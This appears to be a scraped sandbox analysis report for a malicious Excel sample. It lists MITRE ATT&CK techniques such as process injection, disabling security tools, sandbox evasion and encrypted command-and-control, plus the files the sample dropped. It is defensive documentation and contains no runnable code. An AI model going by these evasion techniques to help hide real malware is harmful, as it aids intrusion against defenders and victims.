Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.32567.15846.18516

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll

C:\Users\user\AppData\Local\Temp\Cab3444.tmp

C:\Users\user\AppData\Local\Temp\Tar3445.tmp

C:\Users\user\AppData\Local\Temp\~DFA61A33ED8C15AF6F.TMP

C:\Users\user\Desktop\SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr4.ocx

C:\Windows\System32\FUVVPG\TGCY.dll (copy)

C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)

C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.32567.15846.18516

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre